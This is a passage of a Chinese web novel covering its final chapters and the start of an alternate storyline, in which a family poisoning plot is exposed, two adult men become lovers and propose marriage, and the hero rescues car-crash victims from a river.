秦游道:“这种毒,就在蛋糕里的餐勺上。”
话音落下,小书房里陷入长久的死寂。
有些话不需要说得太明朗,事实总摆在眼前。
秦恒钟又慢慢坐下,语气冷静:“你吃到了吗?”
秦游道:“对方以为我吃到了。”
秦恒钟的脊背松弛稍许。
他听出秦游的言外之意,可没有继续下去,他还有太多的疑团需要解答:“你是怎么发现的?”
问出这句话,不代表他不相信秦游的话。
正相反,他追问细节,是因为他太相信秦游。
他早知道,那场病来得太突然,也太奇怪。
也许他早就有所察觉,以至于从秦游口中听到这件事,他竟然没有丝毫质疑。
秦游只给他毒素的名称:“您可以重新做个检测。”
秦恒钟沉默着。
他接着问:“是谁?”
“还不确定。”
秦游笑说,“总之,不是秦继。”
秦恒钟却笑不出来。
秦继只有三岁。
可是,能让三岁的秦继言听计从的人,实在寥寥可数。
话问出口的刹那,有一张脸,其实清晰浮现在他的脑海。
秦游还没说完:“不止是我,还有您吃下的那一份,我也换过餐具。”
沉默中,再过半晌,秦恒钟从桌上倒了杯水。
他现在明白,秦游为什么要让他事前吃药。
呼吸在不受控制地急促。
胸口隐隐的疼痛正向外放射。
秦恒钟的面色依旧平静,唯独眼神沉冷狠厉。
他看着面前的空处,再服下一片药,才转向秦游,终于出声:“你说,这种毒有一周的潜伏期?”
秦游颔首:“嗯。”
秦恒钟这一次没听到康明发现的秘密,没有受到刺激,药效应该是正常“发作”。
既然将计就计,这样一来,正好不会节外生枝。
秦恒钟喝了水,放下水杯,对这个计划表示赞同:“他以为你吃到了,也以为我吃到了,那就等一周后,看他会不会得意忘形吧。”
话说到这,他按铃让管家进来,取了毒素样本,秘密送去检测。
交代完这些,记起秦游说儿子的病还有治愈的可能,他本想直接起身离场去医院,只是也考虑到打草惊蛇,还是找了心腹代他过去,暗中重新规划治疗方案。
之后宴会散场,秦游和严庭深一起离开。
一小时后,汽车没有停在苍苑门前,而来到一家医院。
对上严庭深检查的眼神,秦游轻叹。
算了。
来都来了。
两人下车进了医院,没多久做完各项检查,秦游的手机突然响起来电铃声。
是秦恒钟拨来的电话。
毒素的检测结果已经出来,和秦游所说的完全吻合。
“还有你爸的病——”
秦恒钟的话从听筒传来,不同于见面时的看似平静,他长长松了一口气,往常沉淀威严的声音,也带着年迈苍老的舒缓,“秦游,医生说,幸好及时查到了昏迷的原因,他可能……很快就能醒了。”
意料中的结果,秦游并不像他这样放在心上,只笑说:“那太好了。”
秦恒钟也听出这句话里的漫不经心。
一段沉默过后,他又出声:“秦游……”
秦游等着他的后话:“嗯。”
秦恒钟轻叹着,透过这段通话,对秦游说:“这段时间、这些发生的事——”
自从回国,秦游始终水深火热。
今天,事情会出现这样的转机,关键竟然还是在于秦游自己的人身安全又受到威胁。
尤其是在秦宅。
是在这个家里。
被身边最近的亲人百般陷害,秦游究竟怀抱什么心情,才能对此一笑置之。
大概还是不在乎吧。
他自诩为秦游安排好了一切,到头来,连这最简单、最基础的平安,都丝毫没做到,只论这一点,再去提其他,简直是大言不惭。
秦游正要开口。
听筒里传来的下一句话打断了他。
“——一直以来,辛苦你了。”
秦游微顿。
“我知道,回到秦家,你一直过得不够开心,给你打这通电话,也是想告诉你,”
秦恒钟说:“从今以后,你的事都由你自己做主,其他人、包括我在内,都不会再去干涉。”
闻言,秦游和严庭深对视。
秦恒钟说完该说的,没再多谈,很快挂了电话。
秦游看过黑屏的手机,片刻,收回怀里,才又转向严庭深,笑说:“看来老爷子想通了。”
严庭深看着他,走近半步:“秦老只是在乎你的感受。”
“帮他解释?”
秦游挑眉,“你忘了,他更希望你和我分手。”
严庭深说:“他关心的是你,当然只把你放在首位。”
秦游没有反驳。
和原文剧情相比,他面对的秦恒钟几乎算很温和,也多了几分人情味。
严庭深看他神色,点到即止,转移了话题:“检查做完,我们回家吧。”
秦游笑了笑,牵过他的手,走向门外:“走吧,回家。”
严庭深反手回握,走出几步,忽然道:“秦游。”
秦游又转眼看他:“嗯?”
严庭深的视线仍落在秦游双眼,语气并不刻意,却沉定有力。
他说:“你要记住,从今以后,你走的路,我都会陪你一起。”
秦游扣住严庭深的手轻轻收紧。
掌心的暖意融进胸膛,连绵在心间穿梭游走,他回望严庭深的眼睛,也缓声回应:“我记住了。”
话音落下,两人并肩出了医院,回到苍苑。
从浴室洗漱出来,秦游回到卧室,见严庭深正坐在沙发看邮件,连他走近都没察觉:“有麻烦?”
严庭深抬眼,随即把手机递给他。
秦游抬手接过。
是毒素的检测报告,下附一份详尽的资料和解答,比系统给出的概述要清晰得多,所能导致的反应一目了然。
“……如果不是你及时发现——”
秦游放下手机,含笑打断他的假设:“那我也不会有事。”
严庭深微抿薄唇。
秦游伸手挑起他的下巴,俯身吻过他的唇,笑问:“我没中毒,怎么还胡思乱想?”
严庭深抬手握在他颈后,正要开口,余光扫过身前,视线不由一顿。
——不被拢紧的衣领随主人动作微乱敞开,前襟内的风景不受遮掩,尽收眼底。
“好了。”
秦游摩挲指腹,蹭了蹭严庭深的侧脸,“今晚你也累了,先睡吧。有话明天再说。”
见他站直起身,再看伸到面前的手,严庭深眸光深沉,转手握住,借力也从沙发起身,却淡声说:“其他的可以明天再谈,但有一句话,你还没给我回复。”
秦游问他:“哪句话?”
严庭深按在他肩上,稍一用力。
秦游往后半步,被及膝的茶几绊住,只好坐下。
感觉到肩上的手落在颈侧,他抬眼看着绕过茶几走向身后的严庭深,唇边又有笑意。
严庭深看他带笑的侧脸,抚在他肩颈的手划过喉结,缓缓往下——
秦游按住他的手,略有无奈:“先谈正事。”
严庭深俯身下去,吻过他后颈,到他耳边:“我要谈的,就是这件事。”
秦游意外:“这件事,我有什么话没回复?”
严庭深转眼,等那双桃花眼也转过来,他垂眸吻上秦游的唇,滑进前襟的手也摆脱束缚。
气息顷刻升温,一点一滴火热。
良久唇分,严庭深吻过秦游下颚,回到他耳边:“你还没回答我,你打算什么时候补课。”
补课?
秦游当即记起他在宴会厅时说的话。
严庭深的手继续往下,游转间,徐徐滑到深处——
秦游的呼吸悄然微重。
不多时,他反手扣住严庭深的手腕,把人拉到身前,从身后直接捞进怀里。
严庭深顺势吻在他鼻梁,动作没停:“怎么不说话?”
秦游睁眼看他,嗓音微哑:“将来的事,我不希望你后悔。”
严庭深沉眸:“你为什么认为我会后悔?”
不等秦游开口,他掌中稍紧,就近又问,“秦老不会再干涉我们的事,你还有什么后顾之忧?”
“……”秦游眼底渐深,揽在他腰间的手正收拢,“我们的事,和其他人无关。”
严庭深微蹙起眉:“那么是你还有顾虑?”
他盯着秦游,倾身逼近,“说清楚,你是担心我后悔,还是将来你会后悔?”
肆意的炽热温度堆叠起落,愈演愈烈,秦游压低嗓音:“你知道,指的不是这个。”
严庭深语气不改:“我不知道,你指的是什么?”
“……”秦游扶在他腰后,吻在他耳侧,“你先松手。”
潮热如浪的气息拂过侧脸,燥意也在不经意间汹涌。
只隔着单薄布料的胸膛传来同步的心跳,是彼此最近的距离。
“……”
严庭深避开耳边灼热的战栗,低头吻在秦游颈侧,忽而闭眼,握住秦游的手,带着他探进家居服下摆,又停顿片刻,才终于落下。
“从你答应我的那天起,我就不会再松手。”
秦游转眼看他。
眼前的耳垂红得滴血,已经染透脖颈,还在往衣领内蔓延。
“……”严庭深没有睁眼,只有声音,听起来还很沉稳,“我说过,我可以教你。”
但下一刻,温热的手掌不再受他控制,正缓缓往上抚弄揉捏。
粗粝的指腹陷进皮肉,轻而易举勾起撩拨发痒的欲望。
转瞬高涨,变本加厉。
严庭深的呼吸渐渐难以克制。
秦游吻住他烧热的耳朵。
衣料下,手背的轮廓擦着修长的腿抚过腰间,滑到腰后,又往下走——
严庭深握在秦游手臂的五指一紧再紧,却早已没有用力,声音也沉涩沙哑。
“秦游……”
秦游的手微停。
严庭深正抬头,忽地浑身一轻。
秦游抱起他,深深看他一眼,走向床边。
严庭深的胸膛加重起伏。
彻底乱了节奏的心跳鼓噪交织,他还没能分清。
秦游把他放在床上,随即欺身压下,到他面前。
严庭深身体微僵,但很快放松。
秦游低头。
无言的短暂对视,他轻笑,俯身吻在严庭深额前。
严庭深五指轻颤。
秦游的吻已经往下,落在严庭深眼睑。
听着耳边压抑急促的呼吸,他抬膝顶起严庭深腿弯,不再犹豫,解开了掌下早已松垮的系带。
“……”
春意绵延。
夜还长。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第 109 章 我们结婚吧。【正文完】
第 109 章 我们结婚吧。
翌日。
清晨。
秦游被生物钟准时叫醒, 睁眼看到也正看来的严庭深,浅笑吻过他额头,记起什么, 又翻身躺平, 把怀里的人扶稳,才往下轻扫,低声笑问:“好点了吗?”
扶在腰后的手掌轻揉往下, 还带着昨夜的酥痒热流。
严庭深微僵一秒,随即如常, 淡声道:“我没事。”
秦游帮他按了两下:“真的没事?”
严庭深的脊背突地绷紧。
他抬眼看过秦游唇边的笑意, 初醒的沙哑嗓音掺进又被挑起的余韵:“现在有事了。”
秦游还没开口。
严庭深看他一眼, 搭在他腰侧的手沿腰腹往上。
被子下, 缓缓屈膝的动作也一览无余。
“……”秦游眸光稍沉, 按在他腰后的手冷不丁用力, 把人按进怀里, “别闹, 你想受伤吗?”
严庭深动作不停, 倾身吻在秦游颈侧。
窸窣的布料摩擦声里, 他在秦游耳边说了三个字:“老规矩。”
秦游看他一眼。
对视间。
薄被轻掀, 两人上下翻转——
“……”
—
一个小时后。
秦游和严庭深一起下楼去了餐室,正吃早饭,管家匆匆进来。
“先生, 福中路来电话,老爷病情反复,突然昏倒,已经送去医院了。”
严庭深沉眸。
秦游也搁了筷。
他抬腕看表,先给崔凌打了个电话, 才对严庭深说:“走吧,先去医院。”
严庭深颔首,起身出门。
两人坐车到了医院,□□他人也陆续赶到。
手术室的灯亮了一个上午,到十二点过半,还处于昏迷状态的严兴钧终于被推了出来,送进病房。
面对众多严家人,尤其是严庭深也在场,主治医生不敢怠慢,不等众人发问,立刻解释起病情。
秦游听完,看向病床上的严兴钧。
比起上次见面,又经历一场大手术的老人面色惨白,几乎形销骨立,毫无清醒时的运筹帷幄。
癌症晚期,到了这个程度,即便抢回一条命,也很难再有精力为繁琐的公事谋划,等他醒来,应该只剩最后的决定。
是选择把钧闵就此正式交给严庭深。
还是继续执迷不悟,做最后一块注定无关痛痒的绊脚石。
这个选择,其实不难。
秦游扫过病房内神色各异、唯独没有悲伤的严家众人,转向严庭深。
严庭深也看着严兴钧,察觉秦游的视线,他回身握住秦游的手,接着有条不紊地交代医护。
秦游反手回握着他,等他说完,才陪他到一旁休息室吃了一顿午饭。
饭后,裴笙送来电脑。
严庭深在沙发坐下不久,连开了三个远程会议,之后处理完邮件,到下午四点半,严兴钧终于醒了。
早就赶来的律师遵照严兴钧的意思,把所有严家人都请到了病床前。
涉及严家的私事,秦游考虑到避嫌,没有陪严庭深进去。
但仅仅不到十分钟,他隔着玻璃门看到其余众人齐齐涌了出来,大多不露声色,只有严立辉,脸上是按捺不住的兴奋。
再过五分钟,严庭深也从门内出来,一眼看到了秦游。
看着他回到面前,秦游已经猜到结果,笑说:“看来,严总最近有的忙了。”
严庭深薄唇微抿,又走近一步:“公司的事,我会尽快处理。”
秦游道:“不要紧。慢慢来。”
话虽如此,可严兴钧的病发作得突然,风向骤转,箭在弦上,即使早有准备,偌大的钧闵集团上下运作,还是忙乱了几天。
严庭深趁势清洗,也费了些工夫,直到一切初步走上正轨,一周时间转瞬即逝。
—
入夜。
苍苑。
按期间商定的计划,秦游吃过晚饭,如约“陷入昏迷”,被严庭深紧急送往医院。
消息传到秦宅,秦恒钟“气急攻心”,立刻病发,也当即送去医院“抢救”。
为免麻烦,秦游送的消息是去严家的医院,省得要陪秦恒钟一起演这场戏。
可惜由于老爷子的三令五申,他只能从苍苑出发,也去了一趟秦氏控股的医院。
他和严庭深到时,秦恒钟安排的人早已经等在停车场。
“秦总,严总。”
秦游记起这是秦恒钟的首席秘书詹磊,略一颔首:“带路。”
詹磊忙转身,请两人走特殊通道,来到秦恒钟的病房。
“手术”早已经结束,探望的众人全被打发散场,房间里只有本该昏迷不醒的秦恒钟正坐在沙发。
听到动静,他抬头看过来,见到秦游,又站起身:“走,陪我去看看你爸。”
秦游挑眉。
秦恒钟边走边说:“我给你打电话的时候,小詹告诉我,医生说你爸有清醒的迹象,随时都可能恢复意识。”
原来是为这件事让他过来。
秦游无奈,扫过毫无动静的门口:“您确定要这样出门?”
医院人多眼杂,不做安排就离开病房,被无关的医护看见他和秦恒钟无恙,暴露的风险几何倍增,实在因小失大。
“我这里有加密的员工通道直接到其他病房,没几个人知道。”
秦恒钟说着,转向另一侧,“跟我来——”
话音没落,他的手机突然响起一声短促的提示铃。
这时,休息室里的詹磊也快步过来:“董事长!”
看到秦恒钟已经拿起手机,他才收敛表情,安静候在原地。
秦游就在秦恒钟身侧,见秦恒钟第一时间点进了一个监控视频,他正要回避,余光扫到走进监控内的秦桦,眸光微动,再看回去,才发现是医院病房。
秦恒钟握着手机,脸色晦暗不明,只对詹磊道:“叫人过来。”
詹磊低头说:“好的。”
秦恒钟沉着脸继续走向通道房门。
他问秦游:“一周前,康明建议我在你爸的病房装监控。他有没有跟你说过什么?”
秦游只说:“他说什么都是耳听为虚,重要的是眼见为实。”
秦恒钟神色更沉,没再说话。
眼见秦桦靠近病床,他加快脚步。
到了病房门前,秦桦的声音透过摄像头,从手机扬声器里传出来。
“大哥,听说你要醒了?”
秦桦从口袋里拿出针管,弯腰看向病床上的男人,语气还带着笑意,像在安抚,“你还不知道吧,今天爸和秦游都住院了,不出意外的话,你们三个很快就能团聚。相信我,你再也不会孤单了。”
说完,他站起身,抬手弹了弹输液袋,再拔下输液管,又看向男人。
“这可是我特意为你准备的厚礼,你这个主角怎么能提前退场呢?”
秦游看着视频里正往输液袋里扎针的秦桦,眉峰轻挑,转向秦恒钟。
他和秦恒钟先后入院,公司了解内情的人寥寥无几,以防万一,他连康明都没通知,以确保这条消息造成的效果足够真实,让下毒的人安心露出马脚。
没想到一场戏刚刚开幕,还没来得及演下去,秦桦就迫不及待跳了出来,自爆身份。
秦恒钟抬手按在胸前,脸色难看到了极点。
听到身后有凌乱的脚步声迅速靠近,他不等众人停下,猛地抬起一脚,踹开了紧闭的员工通道房门。
“砰——”
巨大的响声惊动门内的秦桦。
他猝然回头,直直对上震怒的秦恒钟,拿着输液袋的手狠狠一颤,僵滞在原地半晌,已经什么都明白。
秦恒钟又猛地推开回弹的门板,踩着第二声爆炸的“砰”响,走到秦桦面前。
秦桦看着他,双手无力垂下,张了张嘴,声音也滞涩干哑:“爸——”
“啪——!”
秦桦被这记耳光打得踉跄摔倒在地,左脸火辣,耳边嗡鸣。
他抬手摸了摸麻木的嘴角,看到指腹上的血迹,他仿佛才回过神,突然笑了一声。
秦恒钟沉厉的眼神钉在他身上,冷声道:“报警。”
秦桦抬头,又笑了一声:“爸,你不想知道我为什么这么做吗?”
人赃并获,他知道现在说什么都是徒劳的垂死挣扎,可这说不定是最后一次为自己辩解,他控制不住地想说点什么。
秦恒钟示意身后的人保存证据,语气森冷:“畜生的行径,我不需要知道。”
秦桦从地上慢慢爬起来,看一眼病床,看一眼秦游,最后看向秦恒钟。
被当场揭穿,他浑身在颤抖,却像脱下枷锁,声音毫无惧怕,只有质问:“从小到大,我一直都想问你,既然只需要大哥一个孩子就够了,为什么要生下我和秦艺?”
秦恒钟冷眼看他:“不知所谓!”
“难道不是吗?”
秦桦指着病床,语气渐渐尖锐,“从小,你亲自教大哥管理公司,我和秦艺呢?你不教我,却把我判成死刑,认定我不能从商,从此我就成了下等人,从大哥指缝里漏出来的,才是我能捡来吃的残羹剩饭。”
“残羹剩饭?”
秦恒钟气极反笑,“没有你大哥守着秦氏,你连残羹剩饭都吃不到。就凭你的水平,就算公司落在你手里,也迟早败坏干净。”
秦桦仿佛冷静:“不试试怎么知道?不拿到秦氏,你怎么知道我不能做出一番成绩?我就是要让所有人看清楚,公司落在我手里,照样能发扬光大!”
秦恒钟眼神厌恶:“为了钱,你连人性都能抛诸脑后,简直连畜生都不如。”
秦桦却笑了:“那也是因为您啊,爸。”
他拍着自己的胸脯,“都是你的孩子,凭什么我和秦艺低人一等?小学生都明白的道理,不患寡,患不均,你把百分之八十的财产送给大哥的时候,有没有想过我和秦艺的将来?有没有想过,这对我们不公平!”
“你自己下作,少把秦艺扯进来,你大哥辛辛苦苦为公司起早贪黑的时候,你在干什么?”
秦恒钟寒声说,“你跟我谈公平?你能一出生就锦衣玉食,坐吃山空到今天,靠的难道是你的实力?何况我给了你股份,给了你职位,给了你无数次机会,你又为公司做了多少贡献?”
秦桦攥着拳,又骤然指向病床:“和大哥比,我能有多少资源?如果我是秦氏的总裁,不会比任何人差!”
秦恒钟摇着头,看他的眼神除了心寒的冰冷,慢慢升腾起不愿纠缠的疲惫:“你简直无可救药。”
秦游对詹磊示意。
后者点了点头,对左右打个手势。
安保人员立刻上前,控制住秦桦,带着他离开病房。
秦恒钟站在原地。
秦桦也没有任何反抗,只在路过秦恒钟时,他晃肩挣开几人的钳制,扯起一个变形的笑容:“爸,成王败寇,弱肉强食,这是你唯一一个、一视同仁教给我们的道理。”
他没等秦恒钟回应,颤抖的手自顾自地整理衣领,系上外套纽扣,走出门外时不知在向谁低声强调,“我没错。我只是输了。”
室内死寂一片。
秦桦被带走。
詹磊极有眼色地带着换完药的护士一起退了出去。
病房里陡然陷入安静,秦恒钟走到床边,才从口袋里拿药服下。
他看着病床上躺着的大儿子,想到刚才的场景,心脏又在隐隐作痛。
哪怕早有预料,可亲耳听到那些话,亲眼看到那一幕——
秦恒钟不由自主弯下了腰。
苍老佝偻的脊梁在病床前折弯,他握拳按在床上,支撑着双肩突如其来的沉重负荷。
先是外孙,后是兄弟,结果到头来,是他曾经以为最温和的小儿子最狠毒,狠毒到六亲不认,无所不用其极。
秦游正要往前。
秦恒钟又慢慢坐下,忽而问他:“秦游,你认为我这个爷爷做得称职吗?”
秦游道:“论物质条件,您很称职。”
严庭深看他一眼。
秦恒钟也抬头看他。
论物质条件?
言外之意,是除了物质,其他都不合格。
秦恒钟神色不显:“这种时候,我以为你会安慰我。”
秦游笑说:“我想,您还不需要我安慰。”
对原身而言,每一个亲人都算不上称职。
以秦恒钟的心性,今天受到的打击还不至于让他失去自我评断的能力,说出这句话,大多是明知故问的感慨罢了。
也果然,下一秒,秦恒钟转脸看向病床,语气已经平缓:“你爸是我第一个孩子。他从小跟在我身边,不是因为我想教他什么,而是创业初期,我还没有现如今的物质条件,不能为他请最好的老师,只能跟着我吃苦。”
他握着儿子的手,“现在看来,没什么最好的老师;吃过苦,也未尝不是好事。”
对他的体悟,秦游没有接口。
秦恒钟看向秦游,又说:“你刚才的话也没错。我对你不够称职,包括你爸,我们对你只有亏欠。”
秦游不以为意:“过去的事,没必要再提。”
“不。”
秦恒钟说,“我今天特意让你过来,就是要和你谈谈过去的事。”
他示意秦游坐下,接着说:“你长这么大,我和你爸没有对你尽过什么责任,你回国后,却还要抗起公司的担子,我知道,对你其实不公平。”
闻言,秦游笑了笑:“您希望我让出总裁的位置?”
秦恒钟真正看重的总裁即将清醒,对这一点,他并不意外,也很乐见。
“不是——”
“没问题。”
两人的声音同时响起。
秦游不免意外。
秦恒钟则看着他,眼底复杂纷乱。
“你……真的愿意放弃这个位置?”
秦恒钟深深看着秦游,“你最近不是接手得很顺利吗?”
自秦游继任总裁以来,他几乎无事一身轻,可见秦游的能力。
过去这段时间,他也以为秦游见识过高处的风景,有了转变,才会这么尽职尽责。
可现在,他发现,秦游还是秦游,心性始终没有变过。
面对秦氏这块被无数人觊觎争抢的蛋糕,只有秦游一如既往,拿得起,也随时放得下。
秦游道:“有比我更合适的人选,为什么不愿意?”
秦恒钟沉默着。
不止一次被迫成为利益争夺的受害者,更有刚才的事在前,秦游能在历尽千帆后依旧保持初心,才愈发显得品行难能可贵。
一旁,严庭深没有参与这个话题,只是视线随秦游的话扫过病床,他眸光微顿。
秦恒钟正说话:“秦游,我没有调整你职位的意思,我是想说,以前我和你爸没有负起责任,以后不会了。你的事业刚起步,不论你爸什么时候醒过来,我和他都会尽力帮你。”
秦游正色:“不用麻烦,还是物归原主吧。”
“……”秦恒钟听出他又要故态复萌,站起身来,“不行。”
秦游还没再劝两句,手上微紧。
他转眼,看到严庭深正往病床方向示意。
秦游随之看过去,也是一顿。
面对两人的秦恒钟看到他们的动作,已经意识到什么,当即转身。
看到躺在床上的男人虚弱地眨动双眼,他立刻俯身低头:“秦署!”
秦游和严庭深也一齐起身。
秦署的意识显然还没彻底清明,听到声音,慢了一拍,才转脸看向秦恒钟。
“……爸?”
长久不出声的喉咙干涩到极致,他几乎发不出声音,“我……”
秦恒钟的呼吸微微急促,按了呼叫铃,安抚他说:“别说话,先等医生过来。”
秦署无力点头,看到秦游和严庭深,目光停顿,最后落在秦游脸上:“你……”
秦恒钟说:“他是秦游。”
“秦游?”秦署撑着病床,像要起身,却没能如愿,还因为说话用力,咳了几声。
秦游看着他。
只看外形,秦署比实际年龄要年轻至少十岁,因为昏迷期间有专人护理,他除了面色苍白外,身体没有消瘦太多,成熟英俊的脸上可以看出昏迷前的不苟言笑,大约和秦恒钟性格相似,不过相对平和一些。
秦署也看着秦游。
他还想说点什么,门外已经传来敲门声。
秦恒钟道:“进来。”
浩浩荡荡的医护顿时鱼贯而入。
乱中有序的脚步声迅速围到床边,门外陆续又有人进来。
秦游适时让到一侧,也没再打扰,和严庭深转身离开这间渐渐人满为患的病房。
到了门外,回眸看到人群里难得面露笑意的秦恒钟,他随手掏出手机,给康明打了个电话。
严庭深等他说完挂断电话,牵住他的手:“你确定不多留一会?”
秦游笑着看他,继续往前:“走吧。”
话落,两人逆着连成一片的贺喜声,走在静谧的走廊。
夜已经黑了,窗外月色朦胧。
玻璃隔断室外摇曳的微风,只有灯光倒映,和两道并肩走过一片又一片窗的挺拔身影。
【……】
听到脑海里微不可查的轻响,秦游记起什么。
他打开任务面板,看到列表内的最后一个任务,果然显示【已完成】。
【呜呜呜……】系统哽咽哭泣,终于出声,【宿主,根据主系统判定,你的主任务圆满完成,完成度还很高呢!这一次我们真的要永别了……】
秦游看向它打开的面板。
主线进度:100%
主角感情进度:100%
看到这个数据,秦游握着严庭深的手不由紧了紧。
严庭深住脚,转脸看他:“怎么?”
秦游随他停下,和他对视片刻,又含笑把他的手拉到唇边轻吻一记:“没什么。”
严庭深移开视线,没再追问。
秦游牵着他走到窗边时,注意到数据下方是一行红字。
【可干预剧情结束,主线任务圆满完成,奖励已发放,系统将在倒计时结束后解除绑定。】
倒计时只剩最后十秒。
系统正嚎啕大哭:【宿主,我好舍不得你啊!】
秦游感觉到有沁凉的冷流从脑海汇聚到额前,渐渐形成一个白色的光团。
系统还在抽噎:【但是,宿主,还是要恭喜你,终于能够摆脱主系统和任务,真正开始新的生活了!】
听着熟悉的吵闹声也从脑海抽离,秦游看着面前掌心大的光团,对它说:【这段时间,谢谢你。】
系统哭得更凶了。
它蹦跶着在宿主脸上滚了一圈,永远活力的声音带着最后的不舍和落寞:【……宿主,我走了,新生活一定要天天开心呀——】
话音没落,倒计时结束。
光团悄然化为光点,拥抱似的扑向秦游脖颈,转瞬消散。
脑海里恢复平静,秦游敛眸两秒,忽有所觉,抬眼时,正对上窗面倒映的、属于严庭深的脸。
严庭深看着他:“在想什么?”
秦游握着他的手,看向窗外。
“我在想——”
新生活?
来到这个世界,对于任务结束后的生活,他的确有过唯一的一个构想。
秦游点了点指间的手掌。
他曾经想过——如果运气足够好,找一个普通的爱人,组建一个普通的家庭,就这样普普通通走完一生,倒也不错。
不过那时候,他没料到陪他走到今天的,会是身边这个人。
“秦游?”
秦游回神,目光又落在窗上的倒影。
他再转脸,看向身旁的严庭深,眼底又在不经意间填满笑意。
“我在想,我的运气看样子已经足够好。”
对他的话,严庭深难得没在第一时间领会:“运气?”
“是啊。”
秦游笑道,“运气。它来得这么巧,让我正好遇见了你。”
闻言,严庭深心跳稍乱一拍。
他沉沉注视着秦游噙笑的桃花眼,兀地,一个念头霎时破土而出。
这个念头来得突然,此时此刻,也似乎不合时宜。
但他不假思索,已经开口。
“秦游——”
和他一起开口的,还有秦游。
“严庭深——”
两人同时开口,同时顿住,再同时相让。
“你先说。”
“你先说。”
秦游抬手捏了捏严庭深耳垂,溢出眼底的笑意在眸光里流连。
第三次开口时,两人都没刻意去等。
然而又是一句异口同声。
又是不谋而合的两句话。
“我们结婚吧。”
“我们结婚吧。”
重叠的邀约同时传到耳边——
天际,微风吹散遮月的云。
朦胧的月光也徐徐照亮静夜。
秦游轻笑一声。
迎着严庭深也浸笑的眼睛,他抚过严庭深侧脸,摩挲着指腹下和主人截然相反的柔软唇瓣。
静谧的窗前没有回应。
唯独窗上在月色下倒映的身影,缓缓的,在无声中倾身靠近。
心照不宣的吻。
连影子都亲密无间。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第 110 章 IF线
第 110 章 IF线:错……
“不用跟来。”
秦游微一摆手, 从经理手里接过外套。
身后助理和司机面面相觑,但老板的命令,他们又不得不照办。
反正秦总不喜欢被人跟着也不是第一次了, 这次也没什么稀奇。
经理笑容满面地陪两人一起送到门边:“您慢走。”
秦游没在意身后几人的神色, 转身离开餐厅。
春夏交替的夜,凉风习习。
从河上吹来的阵阵晚风,还带着春末的最后一丝冷意。
秦游抬腕看表, 走到河边。
没走多远,听到口袋里响起来电铃声, 他拿出手机看了一眼, 轻笑一声, 按了静音键。
铃声戛然而止, 没有行人的路上彻底安静。
秦游信步往前, 看着灯光下波澜起伏的河面, 在这片陌生偏僻的星空下, 勉强算是找回短暂的私人时间。
可惜这份安静没能维持太久。
听到斜对面的高架桥上传来引擎轰鸣的动静, 秦游抬眼扫过, 原本没放在心上, 但没过五秒, 桥上又传来尖锐刺耳的刹车声。
紧接着是一声巨响。
秦游定睛看过去。
两辆车接连从高架桥的边缘坠落,相继摔进河里。
桥上行人纷纷探头张望,隐约传来几声惊呼。
这个位置已经是外河, 可也有四五米深,从这么高的位置摔下去,远离人群,还在封闭的车里,就算打了救援电话, 远水救不了近火,车里的人几乎没有生还的希望。
秦游站在河边,也随手打了一通电话,听说已经出警,他收回手机,正准备离开,突然听到水里传来一声呛咳的哭声。
他脚下一顿,回眼看过去。
很不幸,由于先出了车祸,两辆车的车窗都有不同程度的破损,落水的瞬间应该就在进水,车内却没传来呼救声。
显然车祸过程中,里面的人大概受了伤,甚至处于昏迷状态,无法自救。
传来哭声的是红色车,听起来声音还很稚嫩。是个孩子。
“救命!谁来救救我妈妈!”
秦游走到河边,透过破损的车窗,看着车里惊慌失措的女孩,和女孩身旁昏迷不醒的中年女人。
河水还在倒灌。
女孩满脸恐惧,哭着向车外大喊,手里还在不停推搡身边意识不清的母亲——
秦游轻叹。
他转眼,目光丈量过汽车落水到岸边的距离,抬手扯下领带,脱了衣服鞋袜,只留了一条裤子,翻身越过围栏,一跃而下。
桥上立刻传来此起彼伏的惊呼声。
秦游在最短时间内游到红车附近,车内果然已经有积水,他看了一眼,先到另一侧把孩子救出来,示意她在车顶坐稳,才回身把女人救回岸边。
第一个人确定安全,围观群众中立刻爆发出阵阵欢呼。
“……”秦游摇了摇头,折返回到车旁。
女孩正依言趴在车顶,脸上没了刚才的惊惧,还多了几分担心。
秦游顺着她的视线看过去。
同时落水的白色轿车受损较轻,但积水也即将淹没昏倒在方向盘上的司机。
他摸了摸女孩的脑袋,含笑问她:“可以再等一会吗?”
既然已经下水,救两个还是救四个,区别不大。
好在三个成年人都是昏迷状态,救起来不算难。
女孩乖巧地点了点头:“叔叔,你先救他们吧,我在这里等你。”
秦游又拍了拍她的脑袋,转身游向另一辆车。
他照例先把其中一个人放到车顶,救回一人后,再原路折返。
两辆车这时已经全部沉没过半,随着车厢积水增多,下沉的速度也在变快。
秦游把女孩也救回岸边,起身时,才感觉右臂外侧传来一阵胀痛。
女孩也连忙抱住他的手:“叔叔,你流血了!”
秦游看了一眼,借了她的红领巾系在上臂,权作止血。
这时桥上又传来惊呼。
秦游看向水里。
白色车顶的男人突然滑落,本能地无力挣扎两下,就直直沉了下去。
秦游皱眉,活动右臂,目测过最后的距离,第四次跃入水里。
回到车旁,他闭息潜入水底。
所幸时间没过太久,男人还有轻微的挣扎动作,他绕到男人背后,带着人游上水面。
但不知是不是骤然得以呼吸,男人呛咳着,忽然恢复一丝意识,却也立刻继续本能开始挣扎。
秦游又蹙起眉。
这时,桥上终于有人找到救人工具,自上而下甩来几条绳索。
“快!拉住!”
可男人半昏半醒间,挣扎的动作太大开大合,绳索几次甩到身旁,都被扑腾的水流推开。
见状,秦游没再浪费体力,强行带着他游向岸边。
只是被男人纠缠太久,加上接连四次往返救人,还没赶回岸上,他已经感觉到身体渐渐沉重。
见男人还要挣扎,他松手任由对方溺进水面,调整过呼吸,等男人的动作变得无力,才重新俯身进水。
然而忽地。
他看到水中的男人身形一滞。
秦游加速靠近,直觉对方换了个人似的。
尤其是那双眼睛——
即便在水底,也看得出这双丹凤眼里深邃异常的极端冷静。
—
【恭喜宿主,身体数据已成功覆盖。】
【文本内容触发,主线任务正在加载。】
严庭深微蹙着眉。
睁眼就陷入窒息状态,他沉眸看到面前有一道身影正在靠近。
清澈的河水被无数灯柱照耀,折射的光影斑驳晃动,映照在对方全身,大半融进那双由远及近的桃花眼里,显得尤其波光流转。
【剧情节点触发。】
【目标将在两分钟后力竭,请宿主及时拯救目标、并设法离开现场。】
莫名从脑海直接响起的声音打断严庭深的思绪,他还没动作,看到男人只扫过他一眼,随即绕到他身后。
紧接着,一只手臂穿过他腋下,扣在他胸前。
他在救他?
严庭深配合着握住对方的手,一起游出水面。
见不远处就是绳索,他正要转向,男人却显然有不同的打算,带着他径直游向岸边。
但时间推移,他察觉出男人的动作正逐渐缓慢。
“……叔叔——!”
